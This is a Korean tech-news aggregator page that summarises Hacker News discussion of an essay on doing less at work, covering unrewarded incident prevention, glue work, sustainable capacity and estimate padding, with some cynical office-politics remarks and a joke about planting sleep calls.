10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다”
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러?
IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시
클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담
그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요'
日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상
크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다”
직장에서 아무것도 하지 않기 (seangoedecke.com)
함께 보면 좋은 글 β 빠르게 일하는 날과 느리게 일하는 날 나는 "유용한 존재가 되는 것"에 중독되어 있다 Software Engineering at Google [602p PDF] 왜 시니어 엔지니어들은 나쁜 프로젝트를 그냥 두는가 시니어 엔지니어로서 배운 것들 (2021)
나는 "유용한 존재가 되는 것"에 중독되어 있다
Software Engineering at Google [602p PDF]
왜 시니어 엔지니어들은 나쁜 프로젝트를 그냥 두는가
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요. Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요.
Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
인증 이메일 클릭후 다시 체크박스를 눌러주세요
▲ GN⁺ 4시간전 [-] Hacker News 의견들 좋은 글이지만, 결국 또 인센티브 가 문제로 드러남 사고를 일찍 막거나 완화하면 큰돈을 아낄 수 있다는 말은 맞지만, 여러 회사에서 반복해서 본 건 문제 예방은 인정받지 못하고, 불쏘시개를 잔뜩 쌓아놓은 뒤 필연적인 화재를 끄면 두 번 인정받는다는 점임. “좋은” 조직에서도 그랬음 의도적으로 쓰레기 코드를 빨리 내보내고 그 공을 챙기는 게임 이론식 정치에는 끝내 몰입하지 못했음. 내 작업에 자부심이 너무 컸기 때문임 지난 제품 버전을 괴롭히던 문제군을 없애기 위한 프레임워크를 5년 넘게 관리하고 키웠지만, 쓰레기 코드를 배포해 장애를 만들고 고친 파트너 팀은 공개적으로 칭찬받고, 우리 팀은 그런 장애가 없었다는 이유로 아무 공도 못 받았음. 측정할 수 없는 예방 이기 때문임 게임 이론상으로는 반복적으로 문제를 일으켜 고객을 잃는 팀이 그에 맞게 처벌받아야 함. 그렇지 않다면 빠른 배포로 생기는 문제가 생각만큼 고객 유지율 에 영향을 주지 않는 것일 수도 있음 여기저기 Thread.sleep(100000) 을 넣어두고 깨질 때까지 기다리면 됨. 그러면 릴리스 후 금요일 자정까지 길고 용감하게 화재 진압 을 한 사람이 됨 왜 보상받는지는 묻지 말아야 하고, 물론 가끔은 조직이 보상 기준을 다른 것으로 바꾸기도 함 “그런 장애가 없었다는 공은 측정할 수 없어서 못 받는다”는 말에 대해, 철학적으로는 무의 무게 도 측정할 수 있다고 봄 안타깝게도 완전히 맞는 말이지만, 유일한 방법은 아님 정직한 접근으로는 복잡하지만 필수적인 도구를 몇 개 만들어서 다른 엔지니어들이 계속 나를 찾아오게 만드는 방법이 있음. 특정 도구의 오용을 잘 찾아내게 되고, 남의 코드 버그를 몇 초 만에 짚어내면 실제보다 훨씬 똑똑해 보임 이상적으로는 도구가 신뢰 가능하고 유용하지만 복잡해야 함. 다른 개발자들이 도구를 쓰다 버그를 만나면 계속 찾아오고, 나는 그들의 실수를 짚어줄 수 있음. 이 전략이 작동하려면 실수는 거의 항상 상대 쪽에 있어야 하고, 내 코드는 견고 해야 함 내 코드에서 진짜 버그, 가능하면 작은 경계 사례가 발견되면 매우 겸손하고 미안해해야 하며, 팀 회의에서 그 복잡한 버그를 찾아낸 개발자를 칭찬해야 함 자기 버그 코드를 고쳐서 공을 얻는 방식보다 낫다. 그건 관리자나 주니어에게는 통할 수 있지만 다른 시니어 엔지니어들은 싫어하게 됨 복잡하지만 안정적인 도구를 만드는 방식은 반복해서, 종종 두 번보다 훨씬 많이 인정받게 해주고, 다른 개발자들의 인정은 결국 관리자 귀에도 들어감. 똑똑한 리더는 화려한 데모보다 이 신호가 더 낫다는 걸 앎 특정 개발자가 빠르게 프로토타입을 만든다는 이유만으로 칭찬을 퍼주는 리더들은 결국 실수를 배우게 됨. 젊은 창업자들은 피상적인 것을 칭찬하는 이 단계를 자주 거치는 듯함 그렇게 대립 구도를 잡는다면 동의하지만, 약간의 뉘앙스는 필요함 제품이나 기능 묶음을 만드는 일의 일부는 훌륭한 엔지니어링보다 탐색 에 가까움. 때로는 단단한 기능 하나를 만드는 것보다, 사용자에게 가치 있는 것이 무엇인지 알아내기 위해 충분히 괜찮은 기능 두 개를 만드는 편이 나음 나는 늘 “일단 해보고 알아보자” 쪽이었음. 다만 나와 다른 태도의 누군가가 git을 만들어준 건 고맙게 생각함 여기에는 균형이 있고, 지금 다루는 문제가 얼마나 탐색 문제인지에 따라 달라짐. 여기서 “단단함”은 순수 엔지니어링 관점의 가용성, 유지보수성, 사용자의 민감한 사진 유출 가능성 같은 뜻임 “보상 없는 일을 뽑아먹으려는 사람들”에 대한 부분은 액자에 넣어둘 만함 특히 다른 조직의 제품 관리자가 “데이터 쿼리를 잘하시니 X에 대한 통계 좀 뽑아주실 수 있나요?”라고 하거나, 다른 팀 엔지니어가 “페어”를 요청해놓고 결국 내가 코드를 다 쓰고 자기 이름으로 조용히 변경을 제출하는 상황 같은 것임 내가 일하는 곳에서 Principal Engineer 는 모두가 원하고 보상도 좋지만 드물게 도달하는 직함임. 함께 일해본 사람들은 모두 매우 유능하고 인간적으로도 좋았는데, 그중 한 명에게 이전 회사에서 어떻게 그 직함을 얻었는지 물어본 적이 있음 그의 전략은 사람들을 돕고 공을 적극적으로 넘겨주는 것이었음. 1:1이나 여러 단계의 관리자가 있는 회의에서 팀원들의 작업 가치를 꾸준히 강조했고, 그 덕분에 팀의 호감을 얻었음 몇 년 뒤 큰돈이 걸린 프로젝트가 일정에서 밀리고 핵심 엔지니어 여럿이 퇴사했을 때, 그는 야근을 해가며 프로젝트를 성공으로 이끌었고 다음 평가에서 직함과 연봉 인상을 받았음 그 프로젝트가 마지막 밀어붙임이 되긴 했지만, 야근한 엔지니어가 그 혼자였던 건 아님. 그는 자신의 승진을 재직 기간 동안 타인에게 공을 돌리며 쌓은 호의 덕분으로 봄 이건 상사가 얼마나 관여하는지에 따라 다르다고 봄. 같이 일하고 싶지 않은 유형 중 하나가 “그건 제 일이 아닌데요” 하는 사람임 직무 기술서에 있든 없든 문제를 보고 해결책을 제안하는 사람들과 일하고 싶음 내 일이 인정받지 못한다면 그건 리더십 문제 임. 일을 딱 잘라 거절하는 방식은 굳어버린 느린 조직 문화로 가는 길처럼 느껴짐 액자에 넣어둘 말은 “ 티켓으로 만들어주세요 ”임 맞는 말이지만 그렇게 흑백으로만 보이지는 않음. 내 보상을 직접 챙기는 것 이상으로, 회사 자체가 성공하도록 돕는 데도 인센티브가 있으니, 퍼레이드까지는 못 받아도 작은 요청을 도와주는 게 합리적일 수 있음 마찬가지로 언젠가 나도 동료에게 뭔가 필요할 수 있고, 그때 “정식 채널로 오세요”라며 쫓겨나는 것보다 적극적으로 도와주면 고마울 것임. 정식 채널은 훨씬 오래 걸릴 수도 있음 좋은 회사에는 문화가 있고, 사람들은 서로 돕는다 점심자리 대화가 사람들이 무언가를 이해하는 데 도움을 주는 식임 다만 누군가를 위해 몇 시간짜리 일을 해주는 건 또 다른 문제일 수 있음 비꼬려는 건 아니고 관찰에 가깝지만, 충분히 크거나 관료적인 조직에서는 사고를 미리 막아도 공이나 가시성을 얻기 어렵다. 그런 성과는 “원래 해야 하는 일”로 들어감 그래서 회사 정치에 능한 사람들은 차라리 사고가 나게 두고, 후속 조치 항목에서 요란하게 움직이는 쪽을 택함. 요령은 사고를 재앙 으로 키우지 않는 것이고, 꽤 섬세한 작업임 보수적인 조직에서 일찍 배웠음. 예방은 위험함. 일이 잘못됐을 때 쓸 해결책을 준비해두는 편이 낫고, 그때가 되어야 승인을 받을 수 있음 큰 영향을 준다는 예시들이 전부 인정받기 어려운 일처럼 보임 영업 계약을 살리면 박수는 영업팀이 받고, 수수료도 그들이 받음. 나는 그 일부도 받지 못함 재난은 상부에 조직에 문제가 있다는 좋은 신호가 되기도 함. 모든 불을 영웅적으로 꺼버리면 상사는 알 수도 있지만, 상사의 상사의 상사는 조직이 아주 잘 돌아가고 모두 녹색 상태라고 봄 몇 가지가 타버리게 두면 상사의 상사의 상사가 그 불을 보게 되고, 개선될 수도 있음. 어쩌면 그들과 소통하는 가장 쉬운 방법임 사람들이 알아차리는지가 핵심임. 지방정부에서는 인기 있는 프로그램을 잘라서 반발을 유도한 뒤, 다시 복원한 공을 가져가기도 한다고 들었음. 그 사이 필요하지만 인기 없는 다른 조치를 끼워 넣을 수도 있음 영웅놀이 로 경력이 만들어지고 보너스가 지급되는 경우가 많음 예전부터 이 방향의 글을 반쯤 써둔 적이 있는데, 판타지 RPG 비유를 썼음. 이런 게임에서 마나를 쓰는 캐릭터를 하면, 사소한 전투마다 마나를 다 써버리고 빈 상태로 돌아다니다가 진짜 필요할 때 아무것도 남지 않는다는 걸 금방 배우게 됨 일에서 쓰는 정신적 에너지도 크게 다르지 않음. 탱크에 조금 남겨두면 예상치 못한 일이 생겼을 때 건강, 즉 번아웃 을 위험에 빠뜨리지 않고 전략적으로 쓸 수 있음 이런 게임에서 마나 관리를 못 하는 플레이어와 파티를 맺어보면, 그 사람이 그다지 좋은 팀원이 아니라는 것도 알게 됨 한동안 충분히 도전받지 못하면 다음 도전을 넘어서기가 극도로 어려워질 수 있다는 걸 느꼈음 어떤 분야든 내 능력이 정점이던 때는 앞에 충분한 일이 있어서 기계처럼 꾸준히 처리할 수 있고, 목표를 향해 방해받지 않고 일할 만큼 신뢰받아 계속 설명하느라 멈추지 않아도 됐을 때였음. 기술은 들불처럼 늘고 작업은 예상보다 빨리 끝났음 안타깝게도 그런 구조를 활용하는 직장은 아주 드묾. 실제 깊은 작업 에 들어가지 못하게 하는 차단 요소와 방해가 너무 많음 나 같은 경우라면 RPG를 끝낼 때 에테르 29개 가 남아 있고, 초반에 썼다면 훨씬 덜 노가다였을 것임 시스템을 무너뜨리고 싶다면 기준 운용을 100% 로 돌리면 됨. 여유가 없고 새 수요를 받아낼 용량도 없으니, 시스템에 작은 교란만 생겨도 상시 실패 모드로 돌아가는 셈임 효율성 은 회복탄력성의 적임 다만 붕괴는 일어나지 않음. 엔지니어들이 번아웃되거나 나이가 들면 그냥 새 인력을 뽑고, 사이클은 반복됨 이런 글이나 Peopleware / Slack 같은 책의 문제는, 회계 담당자들이 다른 접근을 시도해볼 만큼 설득력 있는 실제 지표 를 제시하지 않는다는 데 있음 관점을 바꿔준 비유는 “The Power of Full Engagement”에서 나온 말이었음. 대략 “너는 비시즌이 없는 세계 정상급 지구력 선수 처럼 행동하고 있다. 그만둬라”라는 내용임 여기에 많은 지혜가 있음. 진짜 가치가 큰 일이 왔을 때를 위해 일부 용량을 남겨두는 것에 더해, 소프트웨어 엔지니어링은 계속 바쁘기만 해서는 잘할 수 있는 일이 아니라고 봄 최대한 빨리 코드를 쓰려 하면 좋은 설계가 나오는 경우가 드묾. 이 글은 또 다른 중요한 측면, 즉 관리자에게 혼나지 않고 80% 용량 으로 일하는 방법은 다루지 않음 여기에는 커뮤니케이션과 작업 추정에 약간의 주의가 필요함. 첫 진짜 프로그래밍 직장에서 나이 많은 숙련 개발자들에게 들은 좋은 조언 중 하나가 지금까지 남아 있음. 어떤 일이 얼마나 걸릴지 추정한 뒤, 관리자나 사용자에게 말하기 전에는 두 배로 늘리라는 것임 경험이 쌓이면 그 비율은 2배가 아니라 1.5배쯤으로 내려올 수 있지만, 원칙은 여전히 적용됨 Kent Beck이 Good News Factory였는지 강연이었는지에서, 자기 팀은 할 수 있다고 생각하는 양의 절반 이상은 절대 약속하지 않았다고 했음. 지속 가능성에 좋은 방식임 최적화하고 선례로 삼아야 할 것은 장기적으로 꾸준히, 지속 가능한 속도 로 전달한다는 점임. 긴 게임이고, 과도한 약속은 신뢰를 깎아먹을 뿐임. 그 신뢰야말로 개발자가 필요한 공간을 얻는 가장 큰 수단임 적게 약속하고, 말한 것은 해낸다는 신뢰를 만들고, 번아웃되지 않을 공간을 얻어야 함 시니어가 될수록, 특히 리드가 될수록 경계 설정 과 주의력 보존, 번아웃 방지가 일이 됨. 스스로를 망가뜨리는 방법이 너무 많기 때문임 “걸릴 시간 추정치에 두 배를 더해 관리자나 사용자에게 말하라”는 말은 맞지만, 호프스태터의 법칙 은 고려했는지 궁금함 호프스태터의 법칙을 고려하더라도, 일은 항상 예상보다 오래 걸림 https://en.wikipedia.org/wiki/Hofstadter%27s_law 고객 접점 업무를 많이 해본 입장에서, 여러 번 마주친 최악의 함정은 돈을 내는 고객과 친해지는 일이었음. 전문가로 고용되어 도와주는 입장에서, 고객이 정말 괜찮은 사람일 때는 거절이 미친 듯이 어려워짐 더 나쁜 건 그 사람이 의사결정자가 아니라, 나에게 무언가를 밀어붙이도록 강요받는 입장일 때임. 신뢰받는 전문가로서 고객 본인이 나쁜 아이디어를 낼 때는 거절하기 쉽지만, 한 번도 직접 상대하지 않는 그들의 상사가 지시를 내리면 나는 쓸모없는 비용처럼 보이거나, 괴물을 남기고 가는 예스맨 이 되는 위치에 놓임 주로 내부 업무를 해온 사람들이 가끔 부러움. 적어도 위쪽 어딘가의 누군가를 설득해볼 수는 있었을 테니까 글루 작업 에 대한 부분이 흥미로운데, 대기업에서 일할 때 이것은 연간 성과 평가의 명시적 일부였음. Google은 이를 “citizenship”이라고 불렀고, 본질을 잘 잡은 표현이라고 봄. 즉 “회사 나머지 사람들을 위해 무엇을 더 낫게 만들었는가”였음 한편으로는 좀 이상하긴 했음. 내 직무 기술서에 없었으니 기술적으로는 무보수 작업이었지만, 동시에 공식 기대사항의 일부였음. 다른 한편으로는 모두가 시간과 노력을 조금씩 써서 모두를 위해 환경을 개선하는 곳에서 일하는 게 좋았음 모두에게 명시적 요구사항으로 만들면 “나는 록스타 엔지니어라 중요한 일을 하느라 바쁘니 글루 작업은 다른 사람이 하라”는 독성 문화를 우회하려는 시도도 됨. 게다가 그 “다른 사람”은 보통 여성이었고, 거의 확실히 그 록스타 엔지니어보다 적게 받고 있었음 원글은 회사가 글루 작업을 할 사람을 정식으로 고용해야 한다는 함의를 주지만, 실제로는 너무 다양한 조각으로 이루어져 있어서 한 사람을 뽑아 맡기기 거의 불가능함. 예를 들어 “문서 작성, 소프트웨어 엔지니어 면접, 팀 오프사이트 행사 조직”을 모두 포괄하는 직함이 무엇이겠음 하지만 그런 작업은 모두 필요했고, citizenship 요구사항은 부담을 더 공정하게 나눌 수 있게 해줬음 더 나은 표현은 “글루 작업을 하지 말라”가 아니라 “보상 없는 글루 작업을 하는 유일한 호구가 되지 말라”라고 봄. 즉 모두가 일부를 맡고, 그것이 공식적으로 일로 인정되는 문화 를 밀어야 함 80% 활용률 로 운영하는 건 좋은 습관이고, 매일 하루 종일 100%를 요구하는 감독관식 관리자가 없을 때 도움이 됨. 그런 사람들은 소프트웨어 엔지니어가 조용하고 편안하게 생각하는 모습을 게으른 무위로 오해함 그래서 원격근무는 일부 활용률을 예비로 남기고 정신 건강을 지키는 데 가장 좋은 방식임 약간의 글루 작업은 모두의 업무 생활을 훨씬 낫게 만들고 아무도 그 방법을 모른다면, 팀에서 나를 필수 인력이나 영웅으로 만들어줄 수 있음 80%도 높다고 봄. 그리고 개발자마다 다름 내가 배우고 생각하고 시작하는 데 애를 먹는 방식을 감안하면, 내 80%는 기술적으로 더 강한 동료의 80%와 전혀 같지 않음 신경다양성 성향까지 조금이라도 고려하면, 한 사람의 80은 다른 사람의 120 일 수 있음 답변달기
Hacker News 의견들 좋은 글이지만, 결국 또 인센티브 가 문제로 드러남 사고를 일찍 막거나 완화하면 큰돈을 아낄 수 있다는 말은 맞지만, 여러 회사에서 반복해서 본 건 문제 예방은 인정받지 못하고, 불쏘시개를 잔뜩 쌓아놓은 뒤 필연적인 화재를 끄면 두 번 인정받는다는 점임. “좋은” 조직에서도 그랬음 의도적으로 쓰레기 코드를 빨리 내보내고 그 공을 챙기는 게임 이론식 정치에는 끝내 몰입하지 못했음. 내 작업에 자부심이 너무 컸기 때문임 지난 제품 버전을 괴롭히던 문제군을 없애기 위한 프레임워크를 5년 넘게 관리하고 키웠지만, 쓰레기 코드를 배포해 장애를 만들고 고친 파트너 팀은 공개적으로 칭찬받고, 우리 팀은 그런 장애가 없었다는 이유로 아무 공도 못 받았음. 측정할 수 없는 예방 이기 때문임 게임 이론상으로는 반복적으로 문제를 일으켜 고객을 잃는 팀이 그에 맞게 처벌받아야 함. 그렇지 않다면 빠른 배포로 생기는 문제가 생각만큼 고객 유지율 에 영향을 주지 않는 것일 수도 있음 여기저기 Thread.sleep(100000) 을 넣어두고 깨질 때까지 기다리면 됨. 그러면 릴리스 후 금요일 자정까지 길고 용감하게 화재 진압 을 한 사람이 됨 왜 보상받는지는 묻지 말아야 하고, 물론 가끔은 조직이 보상 기준을 다른 것으로 바꾸기도 함 “그런 장애가 없었다는 공은 측정할 수 없어서 못 받는다”는 말에 대해, 철학적으로는 무의 무게 도 측정할 수 있다고 봄 안타깝게도 완전히 맞는 말이지만, 유일한 방법은 아님 정직한 접근으로는 복잡하지만 필수적인 도구를 몇 개 만들어서 다른 엔지니어들이 계속 나를 찾아오게 만드는 방법이 있음. 특정 도구의 오용을 잘 찾아내게 되고, 남의 코드 버그를 몇 초 만에 짚어내면 실제보다 훨씬 똑똑해 보임 이상적으로는 도구가 신뢰 가능하고 유용하지만 복잡해야 함. 다른 개발자들이 도구를 쓰다 버그를 만나면 계속 찾아오고, 나는 그들의 실수를 짚어줄 수 있음. 이 전략이 작동하려면 실수는 거의 항상 상대 쪽에 있어야 하고, 내 코드는 견고 해야 함 내 코드에서 진짜 버그, 가능하면 작은 경계 사례가 발견되면 매우 겸손하고 미안해해야 하며, 팀 회의에서 그 복잡한 버그를 찾아낸 개발자를 칭찬해야 함 자기 버그 코드를 고쳐서 공을 얻는 방식보다 낫다. 그건 관리자나 주니어에게는 통할 수 있지만 다른 시니어 엔지니어들은 싫어하게 됨 복잡하지만 안정적인 도구를 만드는 방식은 반복해서, 종종 두 번보다 훨씬 많이 인정받게 해주고, 다른 개발자들의 인정은 결국 관리자 귀에도 들어감. 똑똑한 리더는 화려한 데모보다 이 신호가 더 낫다는 걸 앎 특정 개발자가 빠르게 프로토타입을 만든다는 이유만으로 칭찬을 퍼주는 리더들은 결국 실수를 배우게 됨. 젊은 창업자들은 피상적인 것을 칭찬하는 이 단계를 자주 거치는 듯함 그렇게 대립 구도를 잡는다면 동의하지만, 약간의 뉘앙스는 필요함 제품이나 기능 묶음을 만드는 일의 일부는 훌륭한 엔지니어링보다 탐색 에 가까움. 때로는 단단한 기능 하나를 만드는 것보다, 사용자에게 가치 있는 것이 무엇인지 알아내기 위해 충분히 괜찮은 기능 두 개를 만드는 편이 나음 나는 늘 “일단 해보고 알아보자” 쪽이었음. 다만 나와 다른 태도의 누군가가 git을 만들어준 건 고맙게 생각함 여기에는 균형이 있고, 지금 다루는 문제가 얼마나 탐색 문제인지에 따라 달라짐. 여기서 “단단함”은 순수 엔지니어링 관점의 가용성, 유지보수성, 사용자의 민감한 사진 유출 가능성 같은 뜻임 “보상 없는 일을 뽑아먹으려는 사람들”에 대한 부분은 액자에 넣어둘 만함 특히 다른 조직의 제품 관리자가 “데이터 쿼리를 잘하시니 X에 대한 통계 좀 뽑아주실 수 있나요?”라고 하거나, 다른 팀 엔지니어가 “페어”를 요청해놓고 결국 내가 코드를 다 쓰고 자기 이름으로 조용히 변경을 제출하는 상황 같은 것임 내가 일하는 곳에서 Principal Engineer 는 모두가 원하고 보상도 좋지만 드물게 도달하는 직함임. 함께 일해본 사람들은 모두 매우 유능하고 인간적으로도 좋았는데, 그중 한 명에게 이전 회사에서 어떻게 그 직함을 얻었는지 물어본 적이 있음 그의 전략은 사람들을 돕고 공을 적극적으로 넘겨주는 것이었음. 1:1이나 여러 단계의 관리자가 있는 회의에서 팀원들의 작업 가치를 꾸준히 강조했고, 그 덕분에 팀의 호감을 얻었음 몇 년 뒤 큰돈이 걸린 프로젝트가 일정에서 밀리고 핵심 엔지니어 여럿이 퇴사했을 때, 그는 야근을 해가며 프로젝트를 성공으로 이끌었고 다음 평가에서 직함과 연봉 인상을 받았음 그 프로젝트가 마지막 밀어붙임이 되긴 했지만, 야근한 엔지니어가 그 혼자였던 건 아님. 그는 자신의 승진을 재직 기간 동안 타인에게 공을 돌리며 쌓은 호의 덕분으로 봄 이건 상사가 얼마나 관여하는지에 따라 다르다고 봄. 같이 일하고 싶지 않은 유형 중 하나가 “그건 제 일이 아닌데요” 하는 사람임 직무 기술서에 있든 없든 문제를 보고 해결책을 제안하는 사람들과 일하고 싶음 내 일이 인정받지 못한다면 그건 리더십 문제 임. 일을 딱 잘라 거절하는 방식은 굳어버린 느린 조직 문화로 가는 길처럼 느껴짐 액자에 넣어둘 말은 “ 티켓으로 만들어주세요 ”임 맞는 말이지만 그렇게 흑백으로만 보이지는 않음. 내 보상을 직접 챙기는 것 이상으로, 회사 자체가 성공하도록 돕는 데도 인센티브가 있으니, 퍼레이드까지는 못 받아도 작은 요청을 도와주는 게 합리적일 수 있음 마찬가지로 언젠가 나도 동료에게 뭔가 필요할 수 있고, 그때 “정식 채널로 오세요”라며 쫓겨나는 것보다 적극적으로 도와주면 고마울 것임. 정식 채널은 훨씬 오래 걸릴 수도 있음 좋은 회사에는 문화가 있고, 사람들은 서로 돕는다 점심자리 대화가 사람들이 무언가를 이해하는 데 도움을 주는 식임 다만 누군가를 위해 몇 시간짜리 일을 해주는 건 또 다른 문제일 수 있음 비꼬려는 건 아니고 관찰에 가깝지만, 충분히 크거나 관료적인 조직에서는 사고를 미리 막아도 공이나 가시성을 얻기 어렵다. 그런 성과는 “원래 해야 하는 일”로 들어감 그래서 회사 정치에 능한 사람들은 차라리 사고가 나게 두고, 후속 조치 항목에서 요란하게 움직이는 쪽을 택함. 요령은 사고를 재앙 으로 키우지 않는 것이고, 꽤 섬세한 작업임 보수적인 조직에서 일찍 배웠음. 예방은 위험함. 일이 잘못됐을 때 쓸 해결책을 준비해두는 편이 낫고, 그때가 되어야 승인을 받을 수 있음 큰 영향을 준다는 예시들이 전부 인정받기 어려운 일처럼 보임 영업 계약을 살리면 박수는 영업팀이 받고, 수수료도 그들이 받음. 나는 그 일부도 받지 못함 재난은 상부에 조직에 문제가 있다는 좋은 신호가 되기도 함. 모든 불을 영웅적으로 꺼버리면 상사는 알 수도 있지만, 상사의 상사의 상사는 조직이 아주 잘 돌아가고 모두 녹색 상태라고 봄 몇 가지가 타버리게 두면 상사의 상사의 상사가 그 불을 보게 되고, 개선될 수도 있음. 어쩌면 그들과 소통하는 가장 쉬운 방법임 사람들이 알아차리는지가 핵심임. 지방정부에서는 인기 있는 프로그램을 잘라서 반발을 유도한 뒤, 다시 복원한 공을 가져가기도 한다고 들었음. 그 사이 필요하지만 인기 없는 다른 조치를 끼워 넣을 수도 있음 영웅놀이 로 경력이 만들어지고 보너스가 지급되는 경우가 많음 예전부터 이 방향의 글을 반쯤 써둔 적이 있는데, 판타지 RPG 비유를 썼음. 이런 게임에서 마나를 쓰는 캐릭터를 하면, 사소한 전투마다 마나를 다 써버리고 빈 상태로 돌아다니다가 진짜 필요할 때 아무것도 남지 않는다는 걸 금방 배우게 됨 일에서 쓰는 정신적 에너지도 크게 다르지 않음. 탱크에 조금 남겨두면 예상치 못한 일이 생겼을 때 건강, 즉 번아웃 을 위험에 빠뜨리지 않고 전략적으로 쓸 수 있음 이런 게임에서 마나 관리를 못 하는 플레이어와 파티를 맺어보면, 그 사람이 그다지 좋은 팀원이 아니라는 것도 알게 됨 한동안 충분히 도전받지 못하면 다음 도전을 넘어서기가 극도로 어려워질 수 있다는 걸 느꼈음 어떤 분야든 내 능력이 정점이던 때는 앞에 충분한 일이 있어서 기계처럼 꾸준히 처리할 수 있고, 목표를 향해 방해받지 않고 일할 만큼 신뢰받아 계속 설명하느라 멈추지 않아도 됐을 때였음. 기술은 들불처럼 늘고 작업은 예상보다 빨리 끝났음 안타깝게도 그런 구조를 활용하는 직장은 아주 드묾. 실제 깊은 작업 에 들어가지 못하게 하는 차단 요소와 방해가 너무 많음 나 같은 경우라면 RPG를 끝낼 때 에테르 29개 가 남아 있고, 초반에 썼다면 훨씬 덜 노가다였을 것임 시스템을 무너뜨리고 싶다면 기준 운용을 100% 로 돌리면 됨. 여유가 없고 새 수요를 받아낼 용량도 없으니, 시스템에 작은 교란만 생겨도 상시 실패 모드로 돌아가는 셈임 효율성 은 회복탄력성의 적임 다만 붕괴는 일어나지 않음. 엔지니어들이 번아웃되거나 나이가 들면 그냥 새 인력을 뽑고, 사이클은 반복됨 이런 글이나 Peopleware / Slack 같은 책의 문제는, 회계 담당자들이 다른 접근을 시도해볼 만큼 설득력 있는 실제 지표 를 제시하지 않는다는 데 있음 관점을 바꿔준 비유는 “The Power of Full Engagement”에서 나온 말이었음. 대략 “너는 비시즌이 없는 세계 정상급 지구력 선수 처럼 행동하고 있다. 그만둬라”라는 내용임 여기에 많은 지혜가 있음. 진짜 가치가 큰 일이 왔을 때를 위해 일부 용량을 남겨두는 것에 더해, 소프트웨어 엔지니어링은 계속 바쁘기만 해서는 잘할 수 있는 일이 아니라고 봄 최대한 빨리 코드를 쓰려 하면 좋은 설계가 나오는 경우가 드묾. 이 글은 또 다른 중요한 측면, 즉 관리자에게 혼나지 않고 80% 용량 으로 일하는 방법은 다루지 않음 여기에는 커뮤니케이션과 작업 추정에 약간의 주의가 필요함. 첫 진짜 프로그래밍 직장에서 나이 많은 숙련 개발자들에게 들은 좋은 조언 중 하나가 지금까지 남아 있음. 어떤 일이 얼마나 걸릴지 추정한 뒤, 관리자나 사용자에게 말하기 전에는 두 배로 늘리라는 것임 경험이 쌓이면 그 비율은 2배가 아니라 1.5배쯤으로 내려올 수 있지만, 원칙은 여전히 적용됨 Kent Beck이 Good News Factory였는지 강연이었는지에서, 자기 팀은 할 수 있다고 생각하는 양의 절반 이상은 절대 약속하지 않았다고 했음. 지속 가능성에 좋은 방식임 최적화하고 선례로 삼아야 할 것은 장기적으로 꾸준히, 지속 가능한 속도 로 전달한다는 점임. 긴 게임이고, 과도한 약속은 신뢰를 깎아먹을 뿐임. 그 신뢰야말로 개발자가 필요한 공간을 얻는 가장 큰 수단임 적게 약속하고, 말한 것은 해낸다는 신뢰를 만들고, 번아웃되지 않을 공간을 얻어야 함 시니어가 될수록, 특히 리드가 될수록 경계 설정 과 주의력 보존, 번아웃 방지가 일이 됨. 스스로를 망가뜨리는 방법이 너무 많기 때문임 “걸릴 시간 추정치에 두 배를 더해 관리자나 사용자에게 말하라”는 말은 맞지만, 호프스태터의 법칙 은 고려했는지 궁금함 호프스태터의 법칙을 고려하더라도, 일은 항상 예상보다 오래 걸림 https://en.wikipedia.org/wiki/Hofstadter%27s_law 고객 접점 업무를 많이 해본 입장에서, 여러 번 마주친 최악의 함정은 돈을 내는 고객과 친해지는 일이었음. 전문가로 고용되어 도와주는 입장에서, 고객이 정말 괜찮은 사람일 때는 거절이 미친 듯이 어려워짐 더 나쁜 건 그 사람이 의사결정자가 아니라, 나에게 무언가를 밀어붙이도록 강요받는 입장일 때임. 신뢰받는 전문가로서 고객 본인이 나쁜 아이디어를 낼 때는 거절하기 쉽지만, 한 번도 직접 상대하지 않는 그들의 상사가 지시를 내리면 나는 쓸모없는 비용처럼 보이거나, 괴물을 남기고 가는 예스맨 이 되는 위치에 놓임 주로 내부 업무를 해온 사람들이 가끔 부러움. 적어도 위쪽 어딘가의 누군가를 설득해볼 수는 있었을 테니까 글루 작업 에 대한 부분이 흥미로운데, 대기업에서 일할 때 이것은 연간 성과 평가의 명시적 일부였음. Google은 이를 “citizenship”이라고 불렀고, 본질을 잘 잡은 표현이라고 봄. 즉 “회사 나머지 사람들을 위해 무엇을 더 낫게 만들었는가”였음 한편으로는 좀 이상하긴 했음. 내 직무 기술서에 없었으니 기술적으로는 무보수 작업이었지만, 동시에 공식 기대사항의 일부였음. 다른 한편으로는 모두가 시간과 노력을 조금씩 써서 모두를 위해 환경을 개선하는 곳에서 일하는 게 좋았음 모두에게 명시적 요구사항으로 만들면 “나는 록스타 엔지니어라 중요한 일을 하느라 바쁘니 글루 작업은 다른 사람이 하라”는 독성 문화를 우회하려는 시도도 됨. 게다가 그 “다른 사람”은 보통 여성이었고, 거의 확실히 그 록스타 엔지니어보다 적게 받고 있었음 원글은 회사가 글루 작업을 할 사람을 정식으로 고용해야 한다는 함의를 주지만, 실제로는 너무 다양한 조각으로 이루어져 있어서 한 사람을 뽑아 맡기기 거의 불가능함. 예를 들어 “문서 작성, 소프트웨어 엔지니어 면접, 팀 오프사이트 행사 조직”을 모두 포괄하는 직함이 무엇이겠음 하지만 그런 작업은 모두 필요했고, citizenship 요구사항은 부담을 더 공정하게 